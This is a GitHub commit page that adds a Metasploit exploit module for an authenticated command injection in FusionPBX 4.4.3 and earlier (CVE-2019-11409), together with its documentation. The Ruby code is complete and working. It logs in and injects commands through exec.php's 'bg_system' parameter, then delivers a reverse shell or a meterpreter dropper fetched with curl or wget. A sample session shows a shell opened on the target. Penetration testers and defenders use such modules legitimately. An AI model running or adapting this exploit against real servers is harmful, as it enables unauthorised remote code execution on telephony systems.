Skip to content

Commit

Permalink
Land #12531, Add FusionPBX Operator Panel exec.php Command Execution
Browse files Browse the repository at this point in the history
Add FusionPBX Operator Panel exec.php Command Execution
  • Loading branch information
wchen-r7 authored and msjenkins-r7 committed Nov 13, 2019
1 parent 90448aa commit 5091913
Show file tree
Hide file tree
Showing 2 changed files with 271 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
## Description

This module exploits an authenticated command injection vulnerability
in FusionPBX versions 4.4.3 and prior.

The `exec.php` file within the Operator Panel permits users with
`operator_panel_view` permissions, or administrator permissions,
to execute arbitrary commands as the web server user by sending
a `system` command to the FreeSWITCH event socket interface.


## Vulnerable Software

This module has been tested successfully on FusionPBX version
4.4.1 on Ubuntu 19.04 (x64).

Software:

* https://www.fusionpbx.com/download
* https://github.com/fusionpbx/fusionpbx/releases

At time of writing, a vulnerable version can be tested by using
the relevant install script for the target platform from the download
link above, which automatically installs all required dependencies,
including FreeSWITCH and the latest version of FusionPBX.

The version of FusionPBX can then be downgraded to a vulnerable version
by replacing the web root directory with the contents of a vulnerable
version, such as version 4.4.1, from the GitHub releases link above.

On Ubuntu, downgrading can be performed as follows:

```
mv /var/www/fusionpbx /var/www/fusionpbx-latest
mkdir ~/hackyhackhack/ && cd ~/hackyhackhack/
wget https://github.com/fusionpbx/fusionpbx/archive/4.4.1.zip
unzip 4.4.1.zip
mv fusionpbx-4.4.1 /var/www/fusionpbx
```

In the future, downgrading may not be as simple as replacing the web
root directory contents.


## Verification Steps

1. Start `msfconsole`
2. Do: `use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec`
3. Do: `set rhosts <IP>`
4. Do: `set username <username>`
5. Do: `set password <password>`
6. Do: `run`
7. You should get a new session


## Options

**TARGETURI**

The base path to FusionPBX (default: `/`)

**USERNAME**

The username for FusionPBX

**PASSWORD**

The password for FusionPBX


## Scenarios

```
msf5 > use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set rhosts 172.16.191.214
rhosts => 172.16.191.214
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set username test
username => test
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set password wBXxcY4LTAsMd46!
password => wBXxcY4LTAsMd46!
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > run
[*] Started reverse TCP double handler on 172.16.191.165:4444
[+] Authenticated as user 'test'
[*] Sending payload (295 bytes) ...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo ULzaVUoa3XPSZANH;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "ULzaVUoa3XPSZANH\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (172.16.191.165:4444 -> 172.16.191.214:57626) at 2019-11-01 15:54:42 -0400
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/
uname -a
Linux ubuntu-19-04-x64 5.0.0-32-generic #34-Ubuntu SMP Wed Oct 2 02:06:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
```

164 changes: 164 additions & 0 deletions modules/exploits/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,164 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'FusionPBX Operator Panel exec.php Command Execution',
'Description' => %q{
This module exploits an authenticated command injection vulnerability
in FusionPBX versions 4.4.3 and prior.
The `exec.php` file within the Operator Panel permits users with
`operator_panel_view` permissions, or administrator permissions,
to execute arbitrary commands as the web server user by sending
a `system` command to the FreeSWITCH event socket interface.
This module has been tested successfully on FusionPBX version
4.4.1 on Ubuntu 19.04 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Dustin Cobb', # Discovery and exploit
'bcoles' # Metasploit
],
'References' =>
[
['CVE', '2019-11409'],
['EDB', '46985'],
['URL', 'https://blog.gdssecurity.com/labs/2019/6/7/rce-using-caller-id-multiple-vulnerabilities-in-fusionpbx.html'],
['URL', 'https://github.com/fusionpbx/fusionpbx/commit/e43ca27ba2d9c0109a6bf198fe2f8d79f63e0611']
],
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Payload' => {'BadChars' => "\x00\x0a\x0d\x27\x5c"},
'CmdStagerFlavor' => %w[curl wget],
'Targets' =>
[
['Automatic (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'},
'Type' => :unix_memory
],
['Automatic (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'},
'Type' => :linux_dropper
]
],
'Privileged' => false,
'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },
'DisclosureDate' => '2019-06-06',
'DefaultTarget' => 0))
register_options [
OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),
OptString.new('USERNAME', [true, 'The username for FusionPBX']),
OptString.new('PASSWORD', [true, 'The password for FusionPBX'])
]
end

def login(user, pass)
vprint_status "Authenticating as user '#{user}'"

vars_post = {
username: user,
password: pass,
path: ''
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),
'vars_post' => vars_post
})

unless res
fail_with Failure::Unreachable, 'Connection failed'
end

if res.code == 302 && res.headers['location'].include?('login.php')
fail_with Failure::NoAccess, "Login failed for user '#{user}'"
end

unless res.code == 200
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
end

cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first

unless cookie
fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'
end

print_good "Authenticated as user '#{user}'"

cookie
end

def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path)
})

unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end

if res.body.include?('FusionPBX')
return CheckCode::Detected
end

CheckCode::Safe
end

def execute_command(cmd, opts = {})
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app/operator_panel/exec.php'),
'cookie' => "PHPSESSID=#{@cookie}",
'vars_get' => {'cmd' => "bg_system #{cmd}"}
}, 5)

unless res
return if session_created?
fail_with Failure::Unreachable, 'Connection failed'
end

unless res.code == 200
fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"
end

if res.body.include? 'access denied'
fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to access the Operator Panel"
end

res
end

def exploit
unless check == CheckCode::Detected
fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"
end

@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])

print_status "Sending payload (#{payload.encoded.length} bytes) ..."

case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(:linemax => 1_500)
end
end
end

0 comments on commit 5091913

Please sign in to comment.